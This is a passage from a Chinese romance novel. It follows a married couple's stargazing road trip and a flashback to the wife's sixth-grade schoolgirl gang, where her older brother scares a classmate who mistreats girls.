不想和他扯远,温声按下车窗,四周没有城市的高堂建筑,周围是错叠整齐的土胚房,褪色的砖瓦常年被雨水冲刷,中间裂开很宽的隙缝,远处的低峰绿盈蓬蓬,还有人在土坝间放羊,完全没有冷冬的样子。
心情突然变得很好,她深深嗅了嗅空气中净润的湿气,扭头问他:“我们要去哪里呀?”
路泊汀喝了口刚在加油站附近买的咖啡,再不喝就睡过去了,“去隔壁省清安县的小镇,最近能见度很高,晚上能看到银河。”
“可是我们都没带设备啊。”
路泊汀轻笑,“老公之所以是老公,就是可以全方位碾压你,”他转着方向盘一脸揶揄地瞅她,“包括智力。”
温声眼睛登时一亮,“哇!你带了啊?”掀开身上的毛毯就要爬到后座,被他一手又摁进座位里,“坐好,别影响我开车。”
两人到清安县是下午两点,温声下车后感觉要饿晕过去,路泊汀手扶脖子强撑着清醒,“先找个地儿喂你吃饭。”
清安县城主要以米糕出名,正好合温声的口味,两人随意挑了一家人较少的店,店名很有意思:吃一碗少一碗。
“这名字的意思是老板以后不开店了吗?”
路泊汀推开她偷偷摸摸凑近的小脸,“好说,不开了我给你投资,你来开。”
她闭嘴神情无力地瞅他。
老板娘是西北人,听见两位小年轻人的对话豪爽一笑:“你俩是情侣吗?”
长相白净贵气,看上去就是城里来的。
温声还没回话,一旁的路泊汀手掌压在她头顶笑的温和谦顺:“刚结婚,出来度蜜月。”
老板娘哎哟一声,放下手里的抹布站近他们面前,左看看右瞧瞧,一拍敲定:“真是般配啊,有孩子了不?”
温声用胳膊肘顶开他,咬牙哼笑一声:“他不太行,一直怀不上。”
老板娘嘴角的笑意立马凝起,有点尴尬的打哈哈:“年轻人嘛,急不得,时间还多着哩。”
路泊汀偏头似笑非笑地睇了她一眼:“给我道歉还来得及。”
嘁,温声没在怕的,下巴直冲他脸上:“就不!”
他点了点头,挑眉一笑,“今晚别哭,别后悔,也别求着我……”他学她刚才偷偷摸摸凑近的样子,接着又在她耳畔吹气,热息撩人,说了一句极其流氓的话。
温声刚喝了口热水,差点被呛死,很嫌弃的扭过身背对他:“这就破防了?贱人就是矫情。”
贱人路泊汀坐直身子,摇头失笑:“行。”
总共点了四道菜,笋尖肉丝年糕汤、红豆米糕、黑糖发糕、鲜椒牛肉炒粉。
路泊汀用开水冲洗碗筷后放她面前,又找老板要了碗热乎乎的姜茶:“喝完再吃。”
温声眼里只有吃的,很乖的点头,一口气喝完姜茶后开始动筷子,路泊汀吃的很少,那碗鲜椒炒粉被她推过来,笑的一脸惊喜:“这个超好吃!快尝一口。”
想起之前她捉弄他吃章鱼小丸子,他果断坐直身子拒绝进食。
温声皱起眉头很不满:“真的好吃啊你为什么不信我!”说完自行先夹起一大筷子炒粉吃进嘴里。
还对着他很夸张地嚼起来。
嚼嚼嚼
嚼嚼嚼嚼
路泊汀细瞧她,嘴巴油乎乎,吃的很是满足,于是慢条斯理地拾起筷子。
温声见他准备开吃,咬紧舌尖忙侧身捂住变红的脸,一把抓过手边的水杯狂喝水,喝完一杯瞅他眉头都没皱一下。
她喇喇咂舌,他不辣吗?
试探性地靠近他,问:“怎么样,好吃吗?”
“嗯哼。”
温声的嘴唇都被辣肿了,大咧着嘴巴开始套话:“你……你不辣吗?”
他继续敷衍地应声。
奇了怪了,她怎么吃起来就这么辣?筷子又伸到他面前的那块炒粉,快速夹起吃了一口,没注意到路泊汀的眉眼晃过谑意。
哇!
呸!
她急忙捂住嘴巴,更辣了好吗?
面前递过来一杯水:“哎,你真的好笨啊宝宝。”他又抽出纸擦她的嘴,一脸感叹,“是真的笨。”
“你为什么不辣啊?”
“因为我就没吃啊。”
温声终于木下脸
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把刚才擦完嘴的纸丢他身上,又翻了个大大的白眼:“没劲儿。”
两人吃完饭又开车到渭元镇的一家民宿,民宿在山脚下,四周住的都是当地的牧民,大家对外地来的旅客很热情,拉着温声聊东聊西,她在人群里看到路泊汀在民宿门口,有点疲倦地倚到墙上,于是很礼貌地和那些人结束了对话。
走过去牵他的手,“我们要不要先回房间休息会儿,晚上再上山?”
路泊汀轻笑,捏她的脸:“不再和他们聊聊吗?”
温声摇头。
他已经超过24小时没合眼了。
民宿是围墙隔开的一室一院,四周竹林疏影,白墙碧瓦,环境非常隐谧幽静,庭院间有一条蜿蜒交错的石板路,一旁放了两把竹椅和木桌,上面摆着具有当地特色的茶具,空气中浮动着青竹的幽香,路泊汀停好车牵着她走进室内,温声对环境很满意,最起码很干净,两人又仔细检查了一番确认安全后才开始收拾东西。
路泊汀当着她的面开始脱衣服,温声睁大眼睛实在不懂他,胳膊交叉挡在胸前:“喂喂喂,我人还在这儿呢,你干嘛呀?”
他解开衬衣,开始解皮带,边解边目光鄙夷地看向她:“老公是要去洗澡啊。”
脱得只剩内裤,温声红着脸移开视线不去看他,他自己踩着拖鞋走了过来,还饶有兴味地抬着长指支起她的下巴。
她想也没想赶忙闭紧眼睛。
半晌,没什么动静。
温声悄然睁开一只眼,只见他已经抱臂靠在卫生间门口,一脸坏笑地瞅她:“想什么呢?”
她忍着脸烧,一声不吭捡起地上的棉拖朝他扔了过去。
两人洗漱完后,路泊汀给她吹干头发,定好闹钟,又去车里检查了一遍摄影设备后才回到房间。
眼睛快要睁不开,抱着她倒在床上,闷声道:“陪我睡会儿。”
温声勉强当了一次人形抱枕,他的胸口贴着她的后背,呼吸平稳,毛茸茸的脑袋埋进她脖子里,碎发在她皮肤上来回刺挠,一阵发痒,他占有欲很强,非要圈紧胳膊横在她胸前。
好半天后,温声以为他都睡着了,结果他的手又不紧不慢钻进她衣服里,轻轻揉捏,别有意味的哼笑从脖子后面低声传来:“好像有点不一样了。”
温声半边脸使劲藏进枕头里,剩下半边脸热得发红,“……快、快睡觉啊!”
他的手没移开反而握的更紧了,在她以为他终于睡着了时。
路泊汀的脑袋又向前凑了凑,哑声呢喃道:“好爱你。”
41. 求助
“咚咚咚”
傍晚大概七点钟,管家轻敲几声民宿的木门,每年十月中旬是当地的食斋节,晚上七点钟民宿酒店及一些餐馆的老板就会邀请客人一齐举行斋节仪式,这个时间段的晚餐均免费供应。
管家在门外等了半分钟,门内还是没动静,他只好将打包好的竹板饭和鲜榨笋汁的食品盒放在门口的窗架,现在正好是国庆后的淡季,每天住进来的新客不多,他又给两人多送了一份坚果粥。
温声在路泊汀怀里蛄蛹似得滚了一大圈,睡眼惺忪地用毛茸茸的脑袋蹭他下巴,接着发出海绵宝宝的困顿声呛呛哑哑地问:“唔……你有听到什么声音吗?”
“闭嘴,接着睡。”
半梦半醒间还被他一凶,温声立马皱着小细眉不乐意地哼了声。
然后无意识圈紧他的颈埋头又昏昏沉沉睡了过去。
路泊汀这会儿严重缺觉,身上的被子被她全抢了过去,而且整张床他三她七,她睡觉很不老实,睡姿还很神,喜欢歪过头窜到床边斜着睡,睡着睡着脖子和身子就卡成了九十度,然后细白的腰直直怼到他脸上,还要把两条小细腿搭到他身上,就差骑他脖子上了,有时候半夜他还能被她一脚给蹬醒,他睁眼只能茫然对上她的腰。
但这小东西天一亮又会自动归位,趴着半边身乖乖窝进他怀里。
这就导致他睡一觉起来跟打了场仗一样累,关键是他还找不出任何证据。
搞得他像梦游了一样。
抬膝顶开她身上抢走的被子,接着单臂穿过她软溜溜的细背,一搂,卷起,温声迷迷糊糊就被他抱趴到身上,然后他搂着她往床中央挪了挪,两人还在睡梦中始终闭着眼,他顺手拨开她脸上绒绒的碎头发,嘴唇往她还皱着的眉间轻轻碰了一下,低着声哄她:“乖了,再睡会儿。”
再拉起被子给两人盖好,温声又无意识翘起了唇角,然后习惯性地蜷趴在他胸口沉沉睡了过去。
她的发间有股很好闻的轻甜花果香味,因为长发很厚很滑,溢出的气味有缕层次感不够分明的绵绵密密,路泊汀抱紧她彻底沉进那丝影绰的气息里,接着做起刚才的梦。
温声有一个名扬西小的称号——神算子声声怪!
别名,神棍。
顾名思义就是她说的每一句坑蒙拐骗的话最终都会神奇的应验。
那时候西小六年级一班有一个只针对贱男生的班干部三人帮,负责揽财的班长江乐橙,负责招骗的大队长温声,是帮里打手的纪律委员叶心果。
说是招摇撞骗,其实是把那些贱男生从女生手里薅来的东西重新还回去。
“只要你被男生欺负过,那就来找我们hero3!”
底下是一串秋秋号。
这是三人从校门口的打印店斥巨资四十块钱设计出的一人高彩牌标识语,然后这个标识语一直摆在教室后面图书角的位置,即张扬又隐蔽,老师们只当是学生的小恶作剧,所以也从没管过。
起初她们仨只是简单以口头威胁的形式教训班里那些男生,但哪知道还没过一个月,三人帮是神婆的称号就在年级彻底炸开了,比教导处那个只知道骂男女生都不是好东西的秃头主任还要有威望。
事情要从班里最早谈恋爱被甩的受害者贾芸芸说起。
那天下午正好有一节体育课,趁中途自由活动的时间,江乐橙拽着温声和叶心果三人先溜回了班,一屁股塞到座位里,江乐橙一头撞向桌上,坚硬的砰声立马传来,她也不觉得疼,只是闷闷地开口:“怎么办,魏治那个足球被我们没收后,现在不知道被谁拿走了,如果他找老班告状,严重点找家长,那我们这个帮不就得被迫散了?”
“散了就重新再组呗,我们又不会消失,慌什么?”
温声丝毫不怕,上完体育课脸上都是汗,两只手扑扇着小风,被她自己剪成狗啃似的齐刘海在额前碎碎茸茸地滑开,就在细细的眉毛上面,可爱又滑稽,她拧开保温杯仰头就灌了一大口冰椰奶,边喝边拽个小脸斜睨着两人,咕哝声断续传来:“那也不能怪我们啊,他拿球砸女生他还有理了?丢就丢了呗,他还能把我们仨打一顿不成?大不了今晚放学后我把他堵巷子里再警告一次。”
叶心果想当然地跟着点头,很圆很文静的眼镜下,狐狸眼凶巴巴地眯起:“再说了,他那个足球也不贵吧?可能就几十块钱,我下周早餐钱发了到时候给他补一个不就好咯。他要是敢向班主任告状,我今晚在阿声前就先去捶他一顿。”
姐妹两说完同时朝蔫巴巴的江乐橙看去:“哎呀呀,你就别担心了,真没事。”
身为班长的江乐橙定定望着二人,忽然蹦出一句:“你们难道忘了吗,魏治家境算咱们班很好的了,他那个球前一阵不还说是哪个球星签过名的限量版嘛,价格肯定很贵,不是几百就是上千……”
甚至过万……
她们这个年纪哪儿来这么多钱啊?
让爸妈掏?
小命不保!
温声立马咳咳一呛,嘴角喇出一道狼狈的椰奶渍,这个钱她目前还真没有……
上周和某位少爷打赌打输了,里里外外,存钱罐里,钱包里的,大衣口袋里的,书里夹着的,床底下藏着的……等等等等,所有零钱都交上去了……
她现在就剩身上每天买冰棍的五块钱。
叶心果也愣着脸靠向桌沿沉默了,她加上存钱罐里这几年的零花钱和红包,也就撑死几千块钱吧。
而且马上要报补习班了,这个钱她妈未必能拿出来。
江乐橙圈紧两手臂,这回重重砸向桌面,脸朝内,语气有种任命般的苦哈哈:“所以我们该怎么办?如果他家长发现这个球是我们抢走的而且还弄丢了,肯定要闹到学校的,到时候二话不说上来先揍我们一顿,那我们到底是挨不挨这顿揍啊?我很怕疼的,你两细胳膊细腿的被揍一顿受不住万一残了……”
这是什么话?
叶温二人眉头高高陡起,明显不乐意了,有那么容易残的吗又不是五六岁小屁孩,她们现在可是快十三岁了!
要上初中了!
两个同时瞪起眼要呛她,江乐橙赶紧两手交叉挡了回去,又补充道:“先别急啊!我要说的重点是!虽然魏治这人确实很没品很贱很可恶,但这球总归是他的东西,我们没有任何权利弄丢的。所以我们该赔赔该道歉道歉,最好是不要让这件事发展到难以收场的地步,你们觉得呢?”
还有那个偷球鬼,偷点什么不好非要专偷贵的!
你要死啊!
叶心果又戴上了圆圆的眼镜开始思考起来。
话很在理,但是……
大家现在真的没有多余钱嗷!
温声抠着保温杯的盖子,想了想打算找路泊汀借球,家里他的足球很多,而且每一年舅舅回国都会给他捎一颗限定版的,找他帮忙应该不算难事,虽然今早他两呛嘴了,但他总归不是小心眼的人吧。
……吧?
温声心里快速打着算盘,预估一下胜算,身子扭向她们刚要商量,教室后方靠门的位置这时突然传来很细小很窸窣的哭声。
听起来很殇很殇。
几人叽叽喳喳的讨论声倏地一滞,同时闭上嘴。
三张稚嫩惊慌的脸唰地全往后看去。
结果没看到任何人影。
我的妈呀!
江乐橙叽里呱啦尖叫了起来,迅速拉过叶温二人挡在面前,三姐们脸上各个泛着惊恐的白,谁啊!是谁啊!!
大白天的上演现实版聊斋志异啊?
滚滚滚!
那人这会哭的梨花带雨的,半蹲着身,脸扑到椅子上,只有伏弯的后背露出一点尖尖的白色校服,温声伸长脖子绷大眼睛瞅了一会。
贾芸芸。
下午才刚听说她好像分手了。
“我们的话不会被听见了吧?”叶心果嘴皮微微嚅动。
“我真不知道该说什么了……”
江乐橙这会儿很慌,这件事如果被同学抖给班主任,再添点油加点醋,那她就成了班里滥用职权的精神小妹,班长一职今晚就能给她撤了。
不要啊……
温声是三人里个儿最高的,又很早练舞,身姿细挑板正,即使宽松校裤上边还套了一件美术课自制的半截绿色彩带裙,大步走起来像一片肥大愤怒的海藻,看上去也塑料感十足,但丝毫不影响她身上那丝蓬勃轻盈,而且她平时很爱笑,自己又总爱剪一些很搞怪淘气的刘海,所以在班里一眼望去,都不用多揣摩就能看出她灵动明快的性子。
她这会十分淡定地看着哭得上气不接下气的贾芸芸,手里拧好杯盖,杯子哐地一声放回桌上,朝旁边两人潇洒地抓了抓头发,语气傲娇道:“行了,魏治这事交给我吧,保证给你俩解决好。”
哇哦!
叶心果趴在江乐橙背上,两人像两具干尸一样紧紧叠在桌上,都苦着小脸看救命稻草一样看她猫着步子一身轻松地走向贾芸芸,那塑料裙发出蚂蚱叫似的喳喳声,又不觉得吵,阳光透进窗户很应景地打在她身上,那圈亮晶晶的裙面反射出比冬日夜晚的烟花还要璀璨明媚的光芒。
她就是有种五颜六色的魔力,引导着身边的人,没有什么事是做不到的。
呜呜,是她们最好的好姐们!
“芸芸,你先别哭,我们聊聊好吗?”语气很真诚直接。
温声身边大多都是些性子很坦直的朋友,和她们呆久了,她讲话也习惯直来直往。
只是身后的两姐们反而有点不好意思了。
人家哭的那么伤心,你倒是先安慰两句啊!
贾芸芸抬头,脸哭的一片皱红,她也是刚发现教室还有人,慌忙摘下有线耳机,胡乱抹了把眼泪,“阿声?你什么时候回来的?”注意到后面两人,她立马紧张起来,“现在已经下课了?他们都往楼上赶了吗?”
叶心果瞄向墙上的挂钟,摇头,“还有10分钟才下课。”
江乐橙粗鲁地推开身上的人,走到门口,反锁了班门,“随便说,随便哭,我给你们把前门。”
叶心果也屁颠颠地跑到后门,铁门咔嚓一声,同样反锁,默契一笑,“我把后门。”
贾芸芸没搞过来意思,沾湿的睫毛粘在一起,泪眼朦胧的看着她们,“是发生什么事了吗?如果我有打扰到你们,那我去卫生间好了……”
温声不废话,直接开问:“是袁章那个混蛋提的分手?”
袁章仗着自己长得几分小白脸相,学习成绩又排前列,屁大点人从一年级就很懂怎么依仗自己的优势去沾花惹草,贾芸芸都不知道是他谈过的第几任女朋友了。
次次都是女生先哭。
此人命里绝对带贱。
温声要让他当着全班人的面哭出来。
说起分手,贾云云面色立马难堪起来,木然地站着不应声。
当初谈恋爱就没有谁是支持他们的,现在分手了,班里看笑话的人肯定很多,尤其她还是被绿的,就更不好意思说了……
“我可以替你教训他,你愿意吗?”
温声上前抓住她的细手腕,表情很笃定,“但是教训归教训,你不能再和他在一起了,他不值得你这么哭,还记得之前班里进来一条小青蛇吗,袁章都被吓跑了,只有你
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敢徒手抓它,你是我们班最最勇敢的女生,和你比,他就是最窝囊的小挫怪。”
江乐橙立马帮腔:“芸芸呐,他将来一定会完犊子的,期中考试他就坐我左边,我还看到他抄小纸条,四门考试都抄了哦,当时表情猥琐的要死,我就是没手机不然拍下来给你看,他完全配不上你!”
“最重要的是,不就只是分手吗?”叶心果不解,“你以后还会谈无数段恋爱分无数次手,这次并不算什么噢芸芸宝贝,请务必让内心强大起来,以后才好手撕贱男人哟!”
叶心果你不会安慰人就别说话了吧。
江乐橙隔空朝教室后方翻了个大大的白眼。
叶心果笑着欣然接受。
贾芸芸刚才歇斯底里的难受劲儿突然就过去了,她被夸的一时害羞起来,脸上都是泪痕,皮肤绷的有些难受,她用袖子擦着脸,看着三人,“你们为什么要帮我?帮我有什么好处呢,并没有吧?”
江叶二人直觉温声是想请贾芸芸协助魏治的事,但是她们又摸不着头脑,毕竟魏治和贾芸芸袁章平时无关联,大家交朋友都有自己固定的圈子,魏治这种有家世的人从来不会给班里同学任何知根知底的机会。
“我需要你帮我们三个把名声打出去。”
温声目光率真地看着她,语气很坦然,她没觉得用一物换一物谈判是什么心机重有城府的事,只要合情合理,大家都可以互相帮助,“替你教训袁章这件事今天放学后就可以做到,我记得你在其他班有几个关系很好的朋友,她们是广播站的对吧,你只要请她们把袁章因为乱劈腿今晚可能要遭报应这件事宣传出去就好,而且一定要说明是一班三人组掐指预测到的……”
巴拉巴拉。
江叶二人眨着眼睛互相打着眼色。
——你懂她意思了没?
——没啊,真没搞懂。
两人又咂咂嘴,同时很有节奏地叹声气。
——唉别瞎琢磨了,听她的完事。
晚上最后一节课前的课间,短短的十分钟,温声一溜烟跑到一楼的公共电话厅,很轻车熟路地转着电话圈给家里的哥哥去电话。
嘟..
嘟…
嘟……
没人接。
她急的抖起腿来,重新拨了过去。
十几秒后,电话终于通了。
“?哪位”
変声期的嗓音低低哑哑,流水似得慢慢划过电流,却不显粗涩,低冷又饱满,像穿堂而过的列车碾平后半夜的湿地。
有点好听……
感觉每天听到他的声音都有点不一样,変声期有这么恐怖吗?
温声摸着耳朵思绪又飘到了外太空,他今早好像带了球包,今天是周四,每周二四晚上都会去打球。
所以今晚应该没时间吧……
路泊汀这会换了球服要去打球,耳侧夹着手机正在换鞋,见对面不出声,他的动作一顿,间隙中取下手机看屏幕,是一串陌生的公共电话号。
眉眼闪过笑谑,重新贴回耳侧,语气转到轻佻慵懒:“三秒,不说挂了。”
唔……
每次这种倒计时温声就咽不下口水,她又又又被口水给呛了,捂着嘴巴咳咳咳了起来,半分钟后才开口,那边还没挂断,“等等!是……是我啦!你先别挂!”
“放学了?”
“没有!我们小学生很忙的好吗,一会还有一节数学晚课呢。”温声嘟囔地反驳他,左右歪起小嘴,开始扯东扯西,“但是我作业都差不多写完了,今天下午上了体育课好热啊,我的椰奶喝完了,明天好像要下雨,今晚想吃刘嫂煮的什锦砂锅了,更想吃校外的麻辣烫,我的漫画书竟然被老师没收了……”
说了半天,没一句重点。
一起打球的同学在门外催他了,路泊汀捂着话筒,将球丢过去示意他们先走,班里前后摄像头明晃晃地闪着红灯,他也没避讳,伸腿勾过一张椅子,直截了当地坐在监控下面,开始一句接一句回应她无厘头的话,语速也不快,整个人很松弛:“我作业也写完了,今天上午上了体育课,椰奶还剩半瓶,雨伞搞丢了,如果要下雨你记得打车来附中接我回家,这会儿没胃口晚饭只想喝粥……”
想起她最近没钱了,他忽然唇角生笑,“哥可以给你送一整套漫画,你自己选,但是你得晚上回去给我榨橙汁,我明儿不想再喝椰奶了。”
班里熙熙攘攘还有几个正打扫卫生的同学,俩男生看着他这笑容散漫的样子,八卦生起,在讲台上同时怪叫起来。
“yo~bro~~这是谈了?何方神圣啊?”
路泊汀似笑非笑地睨了一眼几人,眉梢挑起作闭嘴的警告,接着若无其事地接电话。
那几人瞅他这样就觉得蹊跷,于是又重重阴阳笑骂几句,赶忙打扫完就立马滚蛋了。
啊啊啊啊
不就榨果汁吗,这也算事??
温声都要高兴死了,还有两分钟打铃,但她已经忘了打这通电话真正的目的了,只顾着傻笑,“我还想要最近书店新出的A版日漫高能合集册,你给我买吧…给我买吧……我现在没钱钱……”
他答应地很爽快,“成。”
注意一眼时间,路泊汀掐着点赶在她们上课打铃前替她开了头,“可以说了吧,今晚让我做什么。”
bbbbbbingo!
温声倏尔想起还没说正事!
大眼睛谨慎地环顾着四周,她像一个蛰伏多日的冷酷杀手,隔着电话和对面的线人小声汇报:“我要办一件大事,但是目前还不能和你细说,今晚需要你出头帮我警告一个人……”
42. 帮衬
起初,路泊汀并不想答应,他连同年级的人都懒得搭话,更别说向下和一群小学生打交道,但是温声扯着细嗓子黏黏糊糊地反复求他,“我可以答应你三个要求,求你了帮帮我好不好,就只是今晚,又没让你打他,只是警告他不要再欺骗女生感情了,好不好……好不好嘛?”
求得很小狗。
不想她这样。
她想做什么,那他去做好了。
关系应该是这样的。
那个傍晚路泊汀只打了上半场球,在一群朋友的叫骂声里,单肩勾着包背影很潇洒的出了校门。
袁章做梦都没想到,自己竟然能在西小附近遇到路神。
诶?哇靠!
他刚想打招呼,衣领就被路泊汀提了去,两脚像扑腾的鱼在地上无措地滑啦着,还没反应过来就被带进西小马路对面的一条平房巷子里。
路灯慢慢亮起,傍晚余晖落尽,马路传来一长串堵车的声音。
放学时的喧嚣渐渐低了下来。
在朦胧模糊的灯色下,袁章注意到一双黑漆漆的眼睛,幽深又很亮,眼尾走势细延,冷淡犀利却很漂亮的一双眼。
“路……路哥,你这是干嘛?我有什么地方做的不对还请你好好说……我会注意的……”
“你认识我?”
“全校高年级的人都认识你吧,只不过你早就毕业了……”
那还玩个屁。
路泊汀弹了记舌,无语,松手,袁章红着脸捂紧胸口大口喘气。
“是你欺负女生么?”
“我冤枉啊哥!”袁章大叫起来,双手像罪犯一样高举伸冤,“这我哪儿敢啊,我可谁都没惹,我是我们班出了名的脾气好的,你信我!”
很贫的语气。
听了烦。
“是么?”
路泊汀淡淡一笑,抬手掷向他的肩,跟拍球一样收着劲儿可力气却很沉很重……
那晚袁章哭得鼻涕眼泪一长串的,脸比菜市场夜间十点钟扫到地上的烂叶子还要皱巴,温江叶三人帮早就躲在了巷子口,三个小脑袋上中下整齐地叠着,目光盯紧远处那两抹一高一低的身影。
“阿声,你哥是不是对你很好?”
叶心果忽然问出声。
温声举着路泊汀的手机还在咔咔咔记录着袁章的狼狈样,心不在焉地回她:“还行吧,兄妹不都这样?”
“那你想多了,反正我哥不会次次替我出面,他还会觉得我是个麻烦精,然后把我的事全部状告到我爸妈那儿,很恶心很不顶事还很八婆!男的当他这份儿上真绝了!”
叶心果提起她哥就气,无意识抓了把身下江乐橙的脑袋。
“哎哟喂疼啊祖宗!”
江乐橙登时龇个牙骂咧出声。
路泊汀倒不会把她的事抖给姚书文和路康,有时候她被老师训了,或者是捣蛋做了很过的事,他都是先出面的那个人。
某种程度来说,他不算是哥哥,而是她的日记本封面的那个锁扣。
她完全信任他。
“因为……”
温声止住声,拍着拍着镜头视角忽然就偏了,屏幕里只剩下他,侧影细挑修长,也不知是附中校服好看,还是他身线优越,反正在不远不近的距离望着他,一身独属少年的落拓锐气尽显出来。
看上去十分打眼。
因为他本身就很好。
第二天袁章劈腿遭报应这事就在班里快速传开了,起因是有个匿名用户在班群里发了那张照片,附名:渣男哭咯。
那些喜欢袁章的女生们紧眉看着他那张寡淡磕碜的痛哭照,各自都自我怀疑了一阵。
好丑。
这人到底有什么值得喜欢的?
滚啊!
加上广播站先前的预告,在接下来几天,六年级一班三人帮迅速在年级火了起来,来找温声算卦的人从同年级甚至延到了低年级。
“声声姐,姐姐!可以帮我算一下明早到底会不会有数学测试啊?”
“声声!我的声声!能不能帮我猜一下我这辈子会不会赚到大钱呀!”
“温姐!我想求一个成绩单的愿望!”
叽叽喳喳。
班里的过道都挤满了人。
“不要大声吵喔,小心吵走你的好运气!”温声举着手抵唇嘘了声,眉头皱的高高的看那人,“你要先叫我声声大王,不然我怎么给你算?”
“哦哦哦!”那个男生尊敬地跪趴在地上,立马三叩六拜起来,“亲爱的声声大王,我要求不多,只希望期末考试数学能及格,希望开家长会那天我爸妈工作有事来不了,希望以后作业能减半,希望能去环球影城,希望……”
温声鼓起一张严肃脸两小手重重拍向桌子,立马叫停他,“停停停!高然你怎么这么多愿望啊!人不能太贪心哦,不然霸占佛祖吃饭的时间,万一他一个震怒哪个愿望给你都不实现了。”
旁边的二人脑袋凑在一起摇头吐槽,“她是不是太严肃啦,让她亲切点啦!”
江乐橙揪了揪温声的衣摆,呶呶嘴眼神示意——
你好凶的嘞。
“有吗?”温声背对那些排队求她的人,大眼睛溜圆,调整表情:“那我注意点好了!”
回身时嘴上挂着甜丝丝的笑,看起来像个福娃,“快来许愿喔大家,距离上课还有五分钟不到!”
后来,偷走魏治足球的人默默把球放了回去。
因为他听到三人帮正在严查班里有人是小偷这事,还说弥补的机会只给一次,错过这次,这辈子就等着倒大霉吧。
放学后,西小对面的赵婆婆麻辣烫店里挤了三人。
温声吃的嘴唇通红,脸和脖子也被辣出一片粉殷殷,她吸溜着酸辣粉,口齿不清道:“有没有觉得这事效率很高?不到一周全解决了,我们好厉害!”
“别高兴太早啊。”
江乐橙抱着自己那碗麻辣烫,时不时挑出葱花香菜叶子,紧接着咬了一大块山药片,边吃边乌鸦嘴道:“咱们这行为就跟邪教招徒一样,说诈骗都不为过,幸亏没人去班主任那儿告状,如果被他逮到,我们仨就完了。”
班主任是个极度严苛的老头,最看不惯这帮小鬼头拉帮结派,逮到一个灭一个。
温声吹开红汤上面那层油,浅嘬一口,听了她的话摇起头啧了声,“你是真没劲儿啊橙子,做都做了,还想那么多干嘛?”
她给那些人算卦,又没引导他们具体怎么做,每个人做事的行径不同,她只能大差不差地说一个核心点。
先要自己动手努力,命运里才会变出花。
这叫诈骗?
她眯起大眼睛无奈地斜向江乐橙,不愿多解释,瘪瘪嘴,继续埋头吃起来。
江乐橙也觉得自己这话说的相当没意思,都做了,干嘛还扯这些?
来给她掌嘴!
“pzpz!”突然,叶心果朝吃的忘我的两人疯狂吐芯子,“阿声,来人了!”
路泊汀将包扔到单车上,抬手有些嫌弃地掀开那个油乎乎的塑料门帘,就站在店门口,黑眸冷淡地扫了一圈人挤人的座位,视线叮到她吃得眉飞色舞的脸上,眼梢微睐,“喂,还吃呢,你知道你要被请家长了么?”
江乐橙听到这声音立马就呛住了,脸色和红油汤有的一拼。
她这什么破嘴?
碗里还有一大半菜没吃完,温声害怕他进来提溜走她,脸急忙又埋进碗里几分,往嘴里疯狂塞塞塞,叽里咕噜地赶他:“请不请都是明天的事了,你现在来干嘛呀!你去外面等我不要在这里当门神,我好不容易吃一次麻辣烫,你走走走!”
过河拆桥的模样哪还记得之前死乞白赖地求他这事。
路泊汀当真被赶了出来。
店老板是位上了年纪的老婆婆,听到小姑娘不乐意的叫唤声,又见他杵到门口,即不点菜也不让道,还以一副上位者不好惹的表情盯着那三位乖姑娘,只当是附近不学好就知道堵同学的初中混混,手里捞汤的铁勺子对着他快步走过来:“要堵人滚出去!多大人了怎么就不替家里人想想,你穿身上这身校服脸不热啊?”
晚高峰的饭店,经老婆婆这么一吼,几乎所有人都抬起了头,本来只是兴致缺缺看笑话的,结果望见立在门口眉眼如画的绝色少年,全都惊讶的睁大了眼睛,又不自觉多看了好几眼,再来回和墙角处埋下头没心没肺吃吃吃的小姑娘作对比。
谁是混混还真不确定。
温声抱着碗,坏水似得用余光频频看他。
他丢人又不是她丢人,大不了回家给他下跪道个歉呗。
路泊汀被轰出来后,抬着下巴目含轻讽地睨着那家店,拖着长腿一步两步往后撤,直到倚向车身,背包重新单拎向肩,放学后什么事都没来及干就跑来先处理她这烂事。
结果就这么对他是吧?
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他抵着脸颊滚了滚舌尖,都被气笑了,尖下巴掀起锐利的弧度,远远看去,有点生硬,还有点恐怖。
“阿声,你哥是不是生气了啊……你要不还是现在跟他走吧?”
“我不要。”温声从窗户对上他,挑衅般晃了晃脑袋,这下吃得更慢了,“他让干嘛就干嘛,那我也太好说话了吧。”
店里时不时离开一两人,出店就能看到站在对面的男生,俊脸清冷倨傲,手里随意摆弄着手机。
竟然没有一丝被轰出店的狼狈拘谨。
界面还是她班主任刚才的来电,罪名很重——聚众搞一些歪门邪理的事,还霸凌低年级学生让下跪磕头,再不管管这小丫头,上初中指定跑偏。
无论如何让家长明早去一趟学校。
但姚书文和路康照常不在。
他这个月还被请去了两次。
路泊汀少见的头疼起来,视线越过那扇矮玻璃窗,她还在吃。
收回目光,叹了声长气。
温声吃饱喝足嘴里还叼着根小牙签,江叶二人挤挤眼和她打了声招呼就背着包从侧门先跑了,她面不改色地慢慢揭开那扇油帘子,然后像2号版门神一样叉腰立在店门口,身上的书包很重,她不得不挺起身,圆滚滚的肚子被迫朝向他,嘟起嘴,脸上有抹翻脸不认人的小坏蛋笑意。
“嘿这位流浪仔!你饿不饿啊?要不要我给你点一份豪华版麻辣烫吖?”
等了将近四十分钟的流浪仔路泊汀,嘴里漫不经心地嚼着软糖,唇边扯起抹很淡的邪笑,抬手勾了勾。
让她滚过去。
温声自认没理,但她才不听他的,雄赳赳地叉起腰刚要摆谱让他过来牵她,结果后面有人也吃完饭了,是个成年男人,伸手拨她到一旁:“哎让让,吃完就走啊,挡什么道儿啊?”
温声像个小鸡仔一样被无情拨到门外,duang地一声两脚被迫跳到台阶下,重重的书包还向下一拽,她差点一屁股蹲坐到台阶上。
……
小脸立马狼狈地窘红了。
她算是发现了,在他这里,她天生就是个囧人,摆不了一点谱。
那男的注意到对面的男生神色不明地盯着他,眼神很冷很沉,他下意识就讪讪笑了笑,贼眉鼠眼地扭过头快步走开。
路泊汀脸色不算好看,收回视线,手机塞兜里,提步走了过来。
“连站都站不稳,笨不笨啊,走了。”
盯着他伸来的手,温声怪别扭地咬着唇,然后用细细的食指勾住他的手噌地一下站了起来。
“你说请家长是什么事啊?”她挨着他往单车方向走,明知故问,还要探他的口风,眼睛飘来飘去的,“我最近应该没做什么很过的事吧,随堂考成绩也过了老师要求的线,和同学相处愉快,吃饱喝足睡得香,上课从来不打瞌睡,按时准点地到校,为什么要请家长?”
一副义正严辞的小嘴脸,跟他装什么?
路泊汀歪过头要笑不笑地在她吃饱喝足的脸上瞟了一来回,直看得她发毛,他才哼笑出声:“你这会儿乖点我还能保你一命,别怪我没提醒你,妈明晚回来。”
“真假的!”
温声惊呼一声,刚要问话,后脖子一凉。
